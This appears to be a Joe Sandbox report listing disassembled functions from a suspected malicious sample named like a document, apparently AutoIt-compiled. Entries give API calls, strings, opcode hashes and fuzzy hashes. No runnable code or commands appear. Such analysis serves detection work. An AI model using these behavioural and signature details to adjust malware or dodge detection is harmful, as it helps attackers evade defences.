Instruction ID: 6ea4b48fd8975e8e1e899593041e57e2557eb25a55be089eda93dc1927631a6f
Opcode Fuzzy Hash: e176212a5352c9ec20845962fa292ff096577a89a7143a1f1a2aa6eca85d9e72
Instruction Fuzzy Hash: 92619375A00215EFCB18DF98C895EEEB7B4EF48310F004069F946AB291DB78AF84CB50

Function 00711B72 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 143sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000), ref: 00711B83
GlobalMemoryStatusEx.KERNEL32 ref: 00711B9C

Strings

@, xrefs: 00711B91

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: GlobalMemorySleepStatus
String ID: @
API String ID: 2783356886-2766056989
Opcode ID: 492b419f31bda69f6fa3519536d99dfa53f5cd56e6d51aac29d65cdbdd8fa034
Instruction ID: 5d18520afdf81053a507f194b52c621f191fb9d9908c76a649725b6544fa24c9
Opcode Fuzzy Hash: 492b419f31bda69f6fa3519536d99dfa53f5cd56e6d51aac29d65cdbdd8fa034
Instruction Fuzzy Hash: 81514B71408744EBE320AF14E889BABBBECFF94354F41884DF1C8410A6EB75996DC766

Function 0075CE59 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 0071417D: __fread_nolock.LIBCMT ref: 0071419B

_wcscmp.LIBCMT ref: 0075CF49
_wcscmp.LIBCMT ref: 0075CF5C

Strings

FILE, xrefs: 0075CE91

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: _wcscmp$__fread_nolock
String ID: FILE
API String ID: 4029003684-3121273764
Opcode ID: 494869bf6c0600faa95d88ee921b24c7b393bb60d3c7d61fba37f504584ffe41
Instruction ID: a07f4be54f7b77ec6b01e657e2ec0e4c31f9f98a88fc74c5bfea82375709e19a
Opcode Fuzzy Hash: 494869bf6c0600faa95d88ee921b24c7b393bb60d3c7d61fba37f504584ffe41
Instruction Fuzzy Hash: 3241E632A00219BEDF11DBA4CC85FEF7BB9AF49714F000469F901AB1C1D7799A898751

Function 00739AF3 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 127COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0073889E: __getptd_noexit.LIBCMT ref: 0073889E

__getbuf.LIBCMT ref: 00739B8A
__lseeki64.LIBCMT ref: 00739BFA

Strings

pMt, xrefs: 00739AF7, 00739C29, 00739AFB, 00739B89, 00739BB3

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: __getbuf__getptd_noexit__lseeki64
String ID: pMt
API String ID: 3311320906-3104781615
Opcode ID: 621b62e4c688b532430b3f46c2133dee1a51c5506e9d1d778bee92e2280d8ec2
Instruction ID: 2cc024e00fbbf5294f7b5deaae7f8028ac5bbb6aca9041a00f41aeff3ce5ce1e
Opcode Fuzzy Hash: 621b62e4c688b532430b3f46c2133dee1a51c5506e9d1d778bee92e2280d8ec2
Instruction Fuzzy Hash: 824124B1500B059EF7348F38D895A7AB7E49F45330F14861DE6AA872D3D7BCE8408B61

Function 0077A578 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 96windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001132,00000000,?), ref: 0077A668
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 0077A67D

Strings

', xrefs: 0077A5D1

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: MessageSend
String ID: '
API String ID: 3850602802-1997036262
Opcode ID: d6ee97b5a07ac3d937ab5d1254233fd76fd7589dbccd1441744ecf207305b27b
Instruction ID: 2a6c93790d33232821315ac1d19f049e9497202236441ab319a6a5e742ae2e8a
Opcode Fuzzy Hash: d6ee97b5a07ac3d937ab5d1254233fd76fd7589dbccd1441744ecf207305b27b
Instruction Fuzzy Hash: E8411775A00209AFEF14CFA8C880BDE7BB5BB48340F14406AE909EB381D774A951DFA1

Function 00779567 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?,?), ref: 0077961B
MoveWindow.USER32(?,?,?,?,?,00000001,?,?,?), ref: 00779657

Strings

static, xrefs: 007795B7

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Window$DestroyMove
String ID: static
API String ID: 2139405536-2160076837
Opcode ID: c63600c3eba46a6074f6800192c4263278a4800a4c2926fc0e44ab756a95b010
Instruction ID: 59d4ecb945ebfa71db962bcff69d268cbcddc5851df1fa099954e75858b17ff4
Opcode Fuzzy Hash: c63600c3eba46a6074f6800192c4263278a4800a4c2926fc0e44ab756a95b010
Instruction Fuzzy Hash: 2631AB31100204AEEB109F24DC80BFB77A9FF583A0F00C61AF9A9C7190CA39AC91CB64

Function 00755B75 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 87windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00755BE4
GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00755C1F

Strings

0, xrefs: 00755BDD

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: InfoItemMenu_memset
String ID: 0
API String ID: 2223754486-4108050209
Opcode ID: 3c0926cb8837b0db80eefca780c69600e7c1220c5eb7a0fe63a0ab6c231bdb0a
Instruction ID: 7980f8019fb2d942f2bd06d47e4c18cb342e5412a68d36a170d769518b9100f4
Opcode Fuzzy Hash: 3c0926cb8837b0db80eefca780c69600e7c1220c5eb7a0fe63a0ab6c231bdb0a
Instruction Fuzzy Hash: 0031A73160070AEBEB24CF98C999BEDBBF5EF05351F184019ED81961A1E7F89948DF60

Function 00766B60 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 83COMMON

Download Yara Rule

APIs

__snwprintf.LIBCMT ref: 00766BDD

Part of subcall function 0071CAEE: _memmove.LIBCMT ref: 0071CB2F

Strings

AUTOITCALLVARIABLE%d, xrefs: 00766BCF
, $, xrefs: 00766C1D

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: __snwprintf_memmove
String ID: , $$AUTOITCALLVARIABLE%d
API String ID: 3506404897-2584243854
Opcode ID: 99124fc94e8d033a1e325291ba703fbfdc125870024ea2d5c81dd382dab9ece7
Instruction ID: cbd76be20817711d22aad4cfa329e4cdee31e19a7b51e059b50505e144278144
Opcode Fuzzy Hash: 99124fc94e8d033a1e325291ba703fbfdc125870024ea2d5c81dd382dab9ece7
Instruction Fuzzy Hash: B4218E71600518EACF11EFA8C886EED77A5AF45700F404469F906AB182DB78EA95CBA1

Function 007791DC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00779269
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00779274

Strings

Combobox, xrefs: 00779236

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: MessageSend
String ID: Combobox
API String ID: 3850602802-2096851135
Opcode ID: d00dbb934650cc46f1f212bcc86c8ca851b88b46a692289b9aaec1567a034c9e
Instruction ID: a7b33c3faa5d4d10dcb5d19bb2b05c57330768ea4d6d699e3d0ae215d88d7097
Opcode Fuzzy Hash: d00dbb934650cc46f1f212bcc86c8ca851b88b46a692289b9aaec1567a034c9e
Instruction Fuzzy Hash: AB11B271301208BFEF21DF54DC80EAB376AEB883E4F118125FA1C97291D679DC518BA0

Function 0077970B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 0072C619: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 0072C657
Part of subcall function 0072C619: GetStockObject.GDI32(00000011), ref: 0072C66B
Part of subcall function 0072C619: SendMessageW.USER32(00000000,00000030,00000000), ref: 0072C675

GetWindowRect.USER32(00000000,?), ref: 00779775
GetSysColor.USER32(00000012), ref: 0077978F

Strings

static, xrefs: 00779752

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Window$ColorCreateMessageObjectRectSendStock
String ID: static
API String ID: 1983116058-2160076837
Opcode ID: c5d2327e1fa347caaff6a746a1c364a81ea7aee7f8f03e6f52a45bc726b1ebbf
Instruction ID: 4f3bbd86394e85bdba23e90dd29884d18877fd2c96f4f4107a0bbcb7647c93fc
Opcode Fuzzy Hash: c5d2327e1fa347caaff6a746a1c364a81ea7aee7f8f03e6f52a45bc726b1ebbf
Instruction Fuzzy Hash: 32113A72520209AFDF04DFB8DC45EEA7BB8EB08354F018529FA55D3241E779E851DB50

Function 00779424 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32(00000000), ref: 007794A6
SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 007794B5

Strings

edit, xrefs: 0077948A

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: LengthMessageSendTextWindow
String ID: edit
API String ID: 2978978980-2167791130
Opcode ID: fbd6e93754dff48e990d8fd9cccf3f6e1b56a76847de5a8719a2ff9378c31e80
Instruction ID: 16f66eaf2b105e4715ccfccf808a22d7e4b913fdcb90e95bc946c26dc46089f9
Opcode Fuzzy Hash: fbd6e93754dff48e990d8fd9cccf3f6e1b56a76847de5a8719a2ff9378c31e80
Instruction Fuzzy Hash: 0A118F71102244AFEF108EA4DC84EEB3769EB053B8F50C724FA69931E0C779DC529B60

Function 00755C80 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00755CF3
GetMenuItemInfoW.USER32(00000030,?,00000000,00000030), ref: 00755D12

Strings

0, xrefs: 00755CEC

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: InfoItemMenu_memset
String ID: 0
API String ID: 2223754486-4108050209
Opcode ID: cfeded221565b9bbd311c630210426e47a379d863f0a4455f6fd1b3fd3343872
Instruction ID: fcd3be708599ce764deb7e770e17564cee9b9328ec037ff5df610c36cb92511c
Opcode Fuzzy Hash: cfeded221565b9bbd311c630210426e47a379d863f0a4455f6fd1b3fd3343872
Instruction Fuzzy Hash: 6111E272E01759BBDB20DB98DC98BE977F8AB05311F194022EC41EB190D3B9ED08C7A0

Function 007653F6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 61networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 0076544C
InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 00765475

Strings

<local>, xrefs: 0076543D

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Internet$OpenOption
String ID: <local>
API String ID: 942729171-4266983199
Opcode ID: 5ae1dd269682be0d361ba959c873874b54ffd619e74e4e43f9e2156baeb2dff5
Instruction ID: 038d7d671ee08dd017e63d08e44aae51a10b474b9e6b44f7e8da42ca8bcd0a59
Opcode Fuzzy Hash: 5ae1dd269682be0d361ba959c873874b54ffd619e74e4e43f9e2156baeb2dff5
Instruction Fuzzy Hash: 7911A370141A61BADB258F51CC84EFBFF68FF12752F10816AF94656040EB7859C4E6F1

Function 0073B4BF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00744557
___raise_securityfailure.LIBCMT ref: 0074463E

Strings

(}, xrefs: 00744639

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: (}
API String ID: 3761405300-1376107910
Opcode ID: 5bdf10a44f08e8f9cc2b5b936be7fd752cdfcbe3ce98c17266eed129795c64af
Instruction ID: 90d418142c2867d85bd15d30557474b0ef7321cb5ed54da889611656cc6438d0
Opcode Fuzzy Hash: 5bdf10a44f08e8f9cc2b5b936be7fd752cdfcbe3ce98c17266eed129795c64af
Instruction Fuzzy Hash: 5121E3B5602204DBD700EF64E9957447BB5FB48715F10E92BE5098A2A1E3BCA980CBCD

Function 0076ACD3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 52networkCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32(00000000), ref: 0076ACF5
htons.WS2_32(00000000), ref: 0076AD32

Strings

255.255.255.255, xrefs: 0076AD0D

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: htonsinet_addr
String ID: 255.255.255.255
API String ID: 3832099526-2422070025
Opcode ID: 6f4e4adee479917a33d6d9235a0ff49d6139dad73eab2fbaf6ffec9b7af44aa6
Instruction ID: 59543e0e48b5c0031d34e6e248c3847ac2633ea2ae701d99e099477696abe44b
Opcode Fuzzy Hash: 6f4e4adee479917a33d6d9235a0ff49d6139dad73eab2fbaf6ffec9b7af44aa6
Instruction Fuzzy Hash: 3201D634200205ABCB209FA4C846FADB364EF48724F10851AF916AB2D1D779E805CB65

Function 0074C577 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 51windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0071CAEE: _memmove.LIBCMT ref: 0071CB2F

SendMessageW.USER32(?,000001A2,000000FF,?), ref: 0074C5E5

Strings

ListBox, xrefs: 0074C5AF
ComboBox, xrefs: 0074C581

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: MessageSend_memmove
String ID: ComboBox$ListBox
API String ID: 1456604079-1403004172
Opcode ID: 3043f79e7fefe3711dbdb82b82a5bd0cae9a0fa94075c4a3b867a34ed129d9b2
Instruction ID: 73c350457a3c74b9463b1b696b4c387dccc747262857fbc17727f5c755a48c58
Opcode Fuzzy Hash: 3043f79e7fefe3711dbdb82b82a5bd0cae9a0fa94075c4a3b867a34ed129d9b2
Instruction Fuzzy Hash: 7401F571641118EFCB4AEFA8CC55DFE7369AF423107144619F472E32C2DB38A809C750

Function 0074C473 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0071CAEE: _memmove.LIBCMT ref: 0071CB2F

SendMessageW.USER32(?,00000180,00000000,?), ref: 0074C4E1

Strings

ListBox, xrefs: 0074C4AB
ComboBox, xrefs: 0074C47D

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: MessageSend_memmove
String ID: ComboBox$ListBox
API String ID: 1456604079-1403004172
Opcode ID: 695edd86d4ff768216e5ef00fadaeccbf6cd435be54e27479635912512e321c2
Instruction ID: 8df97c4f61f69693270ca59315ef883ec6bda5a00e2c750514c7df484ecbe2d4
Opcode Fuzzy Hash: 695edd86d4ff768216e5ef00fadaeccbf6cd435be54e27479635912512e321c2
Instruction Fuzzy Hash: 32018F71642108ABCB5AEFA8CA66EFF77A89F45300F144019A942F31C2DB5C9E0996A1

Function 0074C4F6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 48windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0071CAEE: _memmove.LIBCMT ref: 0071CB2F

SendMessageW.USER32(?,00000182,?,00000000), ref: 0074C562

Strings

ListBox, xrefs: 0074C52E
ComboBox, xrefs: 0074C500

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
